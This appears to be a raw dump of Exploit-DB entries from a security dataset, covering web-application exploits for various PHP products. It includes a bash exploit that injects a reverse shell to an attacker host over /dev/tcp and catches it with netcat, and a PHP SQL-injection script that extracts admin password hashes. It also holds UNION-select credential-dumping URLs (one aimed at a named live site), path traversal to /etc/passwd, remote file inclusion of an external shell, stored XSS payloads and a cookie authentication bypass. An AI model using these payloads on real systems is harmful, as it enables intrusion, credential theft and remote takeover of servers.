deardaniel/secdata-raw huggingface dataset:
Exploit-DB #51673
Description: Emagic Data Center Management Suite v6.0 - OS Command Injection
Type: webapps
Platform: php
Date: 2023-08-08
Author: thewhiteh4t

Exploit:
#!/bin/bash

# Exploit Title: Emagic Data Center Management Suite v6.0 - OS Command Injection
# Date: 03-08-2023
# Exploit Author: Shubham Pandey & thewhiteh4t
# Vendor Homepage: https://www.esds.co.in/enlight360
# Version: 6.0.0
# Tested on: Kali Linux
# CVE : CVE-2023-37569

URL=$1
LHOST=$2
LPORT=$3

echo "*****************************"
echo "*  ESDS eMagic 6.0.0 RCE    *"
echo "*  > CVE-2023-37569         *"
echo "*  > Shubham & thewhiteh4t  *"
echo "*****************************"

if [ $# -lt 3 ]; then
    echo """
USAGE :

./exploit.sh http://<IP> <LHOST> <LPORT>
./exploit.sh http://192.168.0.10 192.168.0.20 1337
"""
    exit 1
fi

url="$1/index.php/monitor/operations/utilities/"

echo "[+] URL   : $URL"
echo "[+] LHOST : $LHOST"
echo "[+] LPORT : $LPORT"
echo

payload="bash%20%2Dc%20%27bash%20%2Di%20%3E%26%20%2Fdev%2Ftcp%2F$LHOST%2F$LPORT%200%3E%261%27"

post_data="utility=ping&operations=yes&hostname=%3B%20$payload&param_before=&param_after=&probe_id=1&rndval=[PII_REDACTED]46"

echo "[!] Triggering exploit..."

echo $url

(sleep 3; curl -s -X POST -d $post_data $url > /dev/null) &

echo "[+] Catching shell..."
nc -lvp 4444
Exploit-DB #46076
Description: Embed Video Scripts - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2019-01-07
Author: Deyaa Muhammad

Exploit:
# Exploit Title: Embed Video Scripts - Cross-site Script (stored)
# Google Dork: N/A
# Date: 1 Jan 2019
# Exploit Author: Deyaa Muhammad
# Author EMail: contact [at] deyaa.me
# Author Blog: http://deyaa.me
# POC Video: https://youtu.be/2CFJLwkxpT8
# Vendor Homepage: https://codeawesome.in/embed/
# Software Link: https://codecanyon.net/item/embed-video-scripts/20831073
# Demo Website: https://codeawesome.in/embed/
# Version: N/A
# Tested on: WIN7_x68/Linux
# CVE : N/A

# Description:
A stored xss found in "Embed Video Scripts" comments section.

# POC Request:

:method: POST
:authority: server
:scheme: https
:path: /embed/comments
content-length: 145
accept: */*
origin: https://server
x-requested-with: XMLHttpRequest
user-agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
content-type: application/x-www-form-urlencoded; charset=UTF-8
accept-encoding: gzip, deflate, br
accept-language: en-US,en;q=0.9
cookie: __cfduid=de9f1151befbf3ccdb372b7c1afb0a3bb[PII_REDACTED]
cookie: _tccl_visitor=208f2702-6472-41aa-b129-088a32f1eda6
cookie: _tccl_visit=208f2702-6472-41aa-b129-088a32f1eda6

message=<script>alert('Deyaa)</script>&post_id=1&save=1&avatar=https%3A%2F%2Fserver%2Fembed%2Fassets%2Fimages%2Favatar%2F1.png
Exploit-DB #35724
Description: EmbryoCore 1.03 - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2011-05-09
Author: KedAns-Dz

Exploit:
source: https://www.securityfocus.com/bid/47763/info

EmbryoCore is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

EmbryoCore 1.03 is vulnerable; other versions may also be affected. 

http://www.example.com/[path]/index.php?page=[-!Blind SQLi Here!-]
Exploit-DB #37509
Description: EmbryoCore CMS 1.03 - 'loadcss.php' Multiple Directory Traversal Vulnerabilities
Type: webapps
Platform: php
Date: 2012-07-16
Author: Sammy FORGIT

Exploit:
source: https://www.securityfocus.com/bid/54470/info

EmbryoCore CMS is prone to multiple directory-traversal vulnerabilities because it fails to properly sanitize user-supplied input.

Remote attackers can use specially crafted requests with directory-traversal sequences ('../') to retrieve arbitrary files in the context of the application.

Exploiting these issues may allow an attacker to obtain sensitive information that could aid in further attacks.

EmbryoCore 1.03 is vulnerable; other versions may also be affected. 

http://www.example.com/embryocore1.03/libs/common/loadscript.php?j=./configuration.php%00

http://www.example.com/embryocore1.03/libs/common/loadscript.php?j=../../../../../../etc/passwd%00

http://www.example.com/embryocore1.03/libs/common/loadcss.php?c=../../../../../../etc/passwd%00

http://www.example.com/embryocore1.03/libs/common/loadcss.php?c=./configuration.php%00
Exploit-DB #32113
Description: EMC Centera Universal Access 4.0_4735.p4 - 'Username' SQL Injection
Type: webapps
Platform: php
Date: 2008-07-23
Author: Lars Heidelberg

Exploit:
source: https://www.securityfocus.com/bid/30358/info

EMC Centera Universal Access (CUA) is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

CUA 4.0_4735.p4 is vulnerable; other versions may also be affected.

Username: valid_user_name
Password: --
Exploit-DB #4154
Description: eMeeting Online Dating Software 5.2 - SQL Injection
Type: webapps
Platform: php
Date: 2007-07-06
Author: t0pP8uZz

Exploit:
--==+================================================================================+==--
--==+        eMeeting Online Dating Software 5.2 SQL Injection Vulnerbilitys         +==--
--==+================================================================================+==--



AUTHOR: t0pP8uZz & xprog
SITE: eMeeting Online Dating Software
DORK: allintext:"Home Member Search Chat Room Forum Help/Support privacy policy"


DESCRIPTION: 
b.php and gallery.php ID among others on this script are SQL injectable.


EXPLOITS:
http://www.site.com/b.php?id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,concat(username,0x3a,password),5,6,7,8,9,10/**/from/**/members/*
http://www.site.com/b.php?id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,concat(username,0x3a,password),5,6,7,8,9,10/**/from/**/members/**/where/**/username=0x61646D696E/*

http://www.site.com/account/gallery.php?p=gal&id=-1/**/UNION/**/ALL/**/SELECT/**/null,null,null,concat(0x273e3c2f74643e,username,0x3a,password,0x3a,email,0x3c62723e3c2f2f),null,null/**/from/**/members/*


NOTE:
Doesnt look like admin user/password is stored in database, probably in the config. =/
Unless they made a user account with the same user/pass, the admin login is in
/newadmin/login.php if you want to try.

b.php only returns one row of data, but login not required.
gallery.php can return many rows but login is required.


GREETZ: milw0rm.com, H4CKY0u.org, G0t-Root.net !


--==+================================================================================+==--
--==+        eMeeting Online Dating Software 5.2 SQL Injection Vulnerbilitys         +==--
--==+================================================================================+==--

# milw0rm.com [2007-07-06]
Exploit-DB #6551
Description: emergecolab 1.0 - 'sitecode' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-09-24
Author: dun

Exploit:
  :::::::-.   ...    ::::::.    :::.
   ;;,   `';, ;;     ;;;`;;;;,  `;;;
   `[[     [[[['     [[[  [[[[[. '[[
    $$,    $$$$      $$$  $$$ "Y$c$$
    888_,o8P'88    .d888  888    Y88
    MMMMP"`   "YmmMMMM""  MMM     YM

   [ Discovered by dun \ dun[at]strcpy.pl ]

 ###############################################################
 #  [ emergecolab 1.0 ]   Local File Inclusion Vulnerability   #
 ###############################################################
 #
 # Script site: http://emerge2004.net/software.php 
 # Download: http://eduforge.org/projects/emergecolab/
 #
 # Vuln:
 # http://site.com/emerge-1.0/connect/index.php?sitecode=../../../../../../../etc/passwd%00
 #      
 #
 # Bug: ./emerge-1.0/connect/init.inc (lines: 23-30)
 #
 # ...
 # if (isset($_GET["sitecode"])) {
 # 	#first load the global settings
 #	include ("conf/global.conf");
 #	#echo "got get var";
 #	$_SESSION["sitecode"]=$_GET["sitecode"];
 #	#set the session variable with the site folder for now just to default
 #	$_SESSION['sitefolder']='site';
 #	include ("conf/".strtolower($_GET["sitecode"]).".conf"); 	// LFI
 # ...
 #
 #
 # Bug: (for example) ./emerge-1.0/connect/index.php (line: 2)
 #
 # ...
 # require ("init.inc");
 # ...
 #
 #
 ###############################################
 # Greetz: D3m0n_DE * str0ke * and otherz..
 ###############################################

 [ dun / 2008 ] 

*******************************************************************************************

# milw0rm.com [2008-09-24]
Exploit-DB #33946
Description: EmiratesHost - Insecure Cookie Authentication Bypass
Type: webapps
Platform: php
Date: 2010-02-01
Author: jago-dz

Exploit:
source: https://www.securityfocus.com/bid/39963/info

EmiratesHost is prone to an authentication-bypass vulnerability because it fails to adequately verify user-supplied input used for cookie-based authentication.

Attackers can exploit this vulnerability to gain administrative access to the affected application, which may aid in further attacks. 

The following example data is available:

www.example.com/admin
javascript:document.cookie="login=right;path=/";
Exploit-DB #9518
Description: EMO Breader Manager - 'video.php?movie' SQL Injection
Type: webapps
Platform: php
Date: 2009-08-25
Author: Mr.SQL

Exploit:
###############################################################
#################### Viva IslaM Viva IslaM ####################
##
## Remote SQL Injection Vulnerability ( video.php movie )
##
## EMO Breader Manager
##
## http://www.emophp.com
##
###############################################################
###############################################################
##
## AuTh0r : Mr.SQL
##
## H0ME   : WwW.55a.NeT
##
## Email  : SQL@Hotmail.iT
##
########################
########################
##
## -[[: ExploiteS :]]-
##
## www.TraGeT.CoM/video.php?movie=<<NAME FILE>>.wmv&idd=-1+UNION+SELECT+1,2,CONAT_WS(0x3a,table_name,column_name),4,5+FROM+INFORMATION_SCHEMA.COLUMNS--
##
########################
########################
 

#########################################################################################################
#########################################################################################################
                                  -(:: !Gr3E3E3E3E3E3E3TzZ! ::)-
                                        
:: HaCkEr_EGy :: Dark MaSTer  :: His0k4 :: MoHaMeD el 3rab :: ALwHeD :: Ghost Hacker :: MuslimS HaCkErS ::
#########################################################################################################
#########################################################################################################

# milw0rm.com [2009-08-25]
Exploit-DB #5609
Description: EMO Realty Manager - 'ida' SQL Injection
Type: webapps
Platform: php
Date: 2008-05-13
Author: HaCkeR_EgY

Exploit:
##########################################################
#                    Remote SQL Injection Vulnerabilities                                             #
#                           EMO Realty Manager                                                          #
##########################################################
 
 
## Author : HaCkeR_EgY
 
## C0NTACT : hacker_egy@hotmail.com
 
 
## H^OME : www.PAL-HaCkeR.com   &  ATSDP.COM
 
 
## Script Name : EMO Realty Manager
 
 
## Download : http://www.emophp.com/
 
 
## Price : Manager Full License CAD $399   /// Manager Base License CAD $299=======>  Buy iT : http://www.emophp.com/purchase.php
 
 
###########################################################################
###########################################################################
 
## D0rk : mmmm...... U have 2 dork  ...Let's say use your Mind again  D:
 
 
## ExPlo!T :
 
=====>> http://target.com/path/pages/news.php?ida=-1/**/union/**/select/**/1,2,concat_ws(0x3a3a,id,member_name,member_password),4/**/from/**/members/*
## L!ve Dem0 :
 
 
======>>http://sellrentcanada.com/aaa/pages/news.php?ida=-1/**/union/**/select/**/1,2,concat_ws(0x3a3a,id,member_name,member_password),4/**/from/**/members/*
 
-----N0TE----  Admin INFO  have (id) number 1
 
 
################################################################################

[<>] Thanx : MY Brotha and MY Master " Abo Mohamed "
 
[<>] Greetz : Mr.SQL , Mohamed el Arab ,F!resell, DaRk MaStEr , H-T Team , Stack-Terrorist
 
#################################################################################

# milw0rm.com [2008-05-13]
Exploit-DB #13771
Description: EMO Realty Manager - SQL Injection
Type: webapps
Platform: php
Date: 2010-06-08
Author: L0rd CrusAd3r

Exploit:
Author: L0rd CrusAd3r aka VSN [crusader_hmg@yahoo.com]
Exploit Title:EMO Realty Manager SQLi Vulnerable
Published: 2010-06-08
Vendor url:http://emophp.com
Price:249$
Platform: Unix, Linux , Windows

Greetz to:Sid3^effects, aa_Numb, M4n0j and to all ICW members

#############################################################################################################################################################################

DESCRIPTION:

EMO Realty Manager is a full PHP/MySQL content management system for
property companies,
real estate agents or FSBO site. Built using PHP and MySQL, this real estate
website management tool allows for easy updates of properties with image
upload,
category management, listing management, custom usage statistics, mailing
list management, easy to use advanced PHP template system and much more

Features:-

With EMO Realty Manager you can quickly build, manage, and publish
real-estate property to your personal agent or company website.

EMO Realty Manager software is easily administered, powerful, yet affordable
for any budget.

Even though the software is easy to use, help is right around the corner in
the form of our tech support department. We are here to help you and answer
your questions.

EMO Realty Manager is an excellent solution to help you promote your online
real estate presence.

All the tools you need to increase sales and reflect your professional
knowledge is built into EMO Realty Manager. With only a few keystrokes on
your computer, your web site will be launched and...... the success will
follow...

###############################################################################################################################################################################

Vulnerability:

The following URL contains a SQLi vulnerable.

demo URL:-
http://server/emorealty/googlemap/index.php?cat1=[Sqli]

################################################################################################################################################################################

-- 
With R3gards,
L0rd CrusAd3r
Exploit-DB #2239
Description: Empire CMS 3.7 - 'checklevel.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-22
Author: Bob Linuson

Exploit:
    Empire CMS <=3.7 (checklevel.php) Remote File Include Vulnerability
           Find by: Bob Linuson

# Code:

2   $includefile=$check_path."e/class/MemberLevel.php";
3   include("$includefile");
.....
67  include($check_path."e/class/connect.php");
68  include($check_path."e/class/db_sql.php");
69  include($check_path."e/class/user.php");


#Exploit:

http://www.site.com/e/class/checklevel.php?check_path=http://shell.txt?


#URL:

http://www.phome.net/tmp/ecms37/
http://www.phome.net/tmp/ecms37/down.php?url=/tmp/ecms37/ecms3.7-free.rar&
english:
http://translate.google.com/translate?u=http%3A%2F%2Fwww.phome.net%2Ftmp%2Fecms37%2F&langpair=zh-CN%7Cen&hl=zh-CN&newwindow=1&ie=UTF-8&oe=UTF-8&prev=%2Flanguage_tools

# milw0rm.com [2006-08-22]
Exploit-DB #10069
Description: Empire CMS 47 - SQL Injection
Type: webapps
Platform: php
Date: 2009-10-05
Author: Securitylab Security Research

Exploit:
<?php
print_r("
+------------------------------------------------------------------+
Application Info:
Name: EmpireCMS47
--------------------------------------------
Discoverd By: Securitylab.ir
Contacts: info@securitylab[dot]ir
Note: just work as php>=5&mysql>=4.1
--------------------------------------------
Vulnerability Info:
Sql Injection
Medium Risk
+------------------------------------------------------------------+
");
if ($argc<3) {
echo "Usage: php ".$argv[0]." host path \n";
echo "host: target server \n";
echo "path: path to EmpireCMS47\n";
echo "Example:\r\n";
echo "php ".$argv[0]." localhost /\n";
die;
}
$host=$argv[1];
$path=$argv[2];
$data = "name=11ttt&email=111&call=&lytext=1111&enews=AddGbook";
$cmd = "aaaaaaaa',0,1,''),('t00lsxxxx','t00lsxxxxx','','2008-05-28 15:44:17',(select concat(username,0x5f,password,0x5f,rnd) from phome_enewsuser where 
userid=1),'',1,'1111',0,0,'')/*";
$message = "POST ".$path."/e/enews/index.php"." HTTP/1.1\r\n";
$message .= "Referer: http://".$host.$path."/e/tool/gbook/?bid=1\r\n";
$message .= "Accept-Language: zh-cn\r\n";
$message .= "Content-Type: application/x-www-form-urlencoded\r\n";
$message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
$message .= "CLIENT-IP: $cmd\r\n";
$message .= "Host: $host\r\n";
$message .= "Content-Length: ".strlen($data)."\r\n";
$message .= "Cookie: ecmsgbookbid=1;\r\n";
$message .= "Connection: Close\r\n";
$message .= "\r\n";
$message .=$data;
$ock=fsockopen($host,80);
if (!$ock) {
echo 'No response from '.$host;
die;
}
echo "[+]connected to the site!\r\n";
echo "[+]sending data nowâ€¦â€¦\r\n";
fputs($ock,$message);
@$resp ='';
while ($ock && !feof($ock))
$resp .= fread($ock, 1024);
echo $resp;
echo "[+]done!\r\n";
echo "[+]go to http://$host$path/e/tool/gbook/?bid=1 see the hash"
?>
Exploit-DB #50507
Description: Employee and Visitor Gate Pass Logging System 1.0 - 'name' Stored Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2021-11-10
Author: İlhami Selamet

Exploit:
# Exploit Title: Employee and Visitor Gate Pass Logging System 1.0 - 'name' Stored Cross-Site Scripting (XSS)
# Date: 10.11.2021
# Exploit Author: İlhami Selamet
# Vendor Homepage: https://www.sourcecodester.com/php/15026/employee-and-visitor-gate-pass-logging-system-php-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=15026&title=Employee+and+Visitor+Gate+Pass+Logging+System+in+PHP+with+Source+Code
# Version: v1.0
# Tested on: Kali Linux + XAMPP v8.0.12

Employee and Visitor Gate Pass Logging System PHP 1.0 suffers from a Cross Site Scripting (XSS) vulnerability.

Step 1 - Login with admin account & navigate to  'Department List' tab. - http://localhost/employee_gatepass/admin/?page=maintenance/department
Step 1 - Click on the 'Create New' button for adding a new department.
Step 2 - Fill out all required fields to create a new department. Input a payload in the department 'name' field - <script>alert(document.cookie)</script>
Step 3 - Save the department.

The stored XSS triggers for all users that navigate to the 'Department List' page.

PoC

POST /employee_gatepass/classes/Master.php?f=save_department HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=--------------------------[PII_REDACTED][PII_REDACTED]007564888
Content-Length: 555
Origin: http://localhost
Connection: close
Referer: http://localhost/employee_gatepass/admin/?page=maintenance/department
Cookie: PHPSESSID=8d0l6t3pq47irgnbipjjesrv54

----------------------------[PII_REDACTED][PII_REDACTED]007564888
Content-Disposition: form-data; name="id"


----------------------------[PII_REDACTED][PII_REDACTED]007564888
Content-Disposition: form-data; name="name"

<script>alert(document.cookie);</script>
----------------------------[PII_REDACTED][PII_REDACTED]007564888
Content-Disposition: form-data; name="description"

desc
----------------------------[PII_REDACTED][PII_REDACTED]007564888
Content-Disposition: form-data; name="status"

1
----------------------------[PII_REDACTED][PII_REDACTED]007564888--
Exploit-DB #50506
Description: Employee Daily Task Management System 1.0 - 'Name' Stored Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2021-11-10
Author: Ragavender A G

Exploit:
# Exploit Title: Employee Daily Task Management System 1.0 - 'Name' Stored Cross-Site Scripting (XSS)
# Date: 09/11/2021
# Exploit Author: Ragavender A G
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/edtms.zip

# Version: v1.0

# Tested on: Windows 10

*Exploit:*

1. Navigate to the URL, http://localhost/edtms/edtms/admin/?page=maintenance
2. Add New department with the following value:

   - Name: *<svg/onload=alert(1)>*

3. Save the Department and refresh the page, which should trigger the payload.

*PoC:*

POST /edtms/edtms/Actions.php?a=save_department HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 49
Origin: http://localhost
Connection: close
Referer: http://localhost/edtms/edtms/admin/?page=maintenance
Cookie: PHPSESSID=bmh8mhmk3r0rksta56msbl7dn3

id=&name=%3Csvg%2Fonload%3Dalert(100)%3E&status=1
Exploit-DB #51911
Description: Employee Management System 1.0 - 'admin_id' SQLi
Type: webapps
Platform: php
Date: 2024-03-20
Author: Shubham Pandey

Exploit:
# Exploit Title: Employee Management System 1.0 - 'admin_id' SQLi
# Date: 20-03-2024
# Exploit Author: Shubham Pandey
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/17217/employee-management-system-php-and-mysql-free-download.html
# Version: 1.0
# Tested on: Windows, Linux
# CVE : CVE-2024-28595
# Description: SQL Injection vulnerability in Employee Management System v1.0 allows attackers to run arbitrary SQL commands via the admin_id parameter in update-admin.php.
# POC:
1. Here we go to : http://127.0.0.1/taskmatic/index.php
2. Now login with default Username and Password.
3. Visit the URL:
http://127.0.0.1/taskmatic/update-admin.php?admin_id=3'||(SELECT 0x697a7843
WHERE 5649=5649 AND (SELECT 2097 FROM (SELECT(SLEEP(5)))JzJH))||'
4. Page will load for 5 seconds because of time-based sql injection
# Reference:
https://github.com/shubham-s-pandey/CVE_POC/blob/main/CVE-2024-28595.md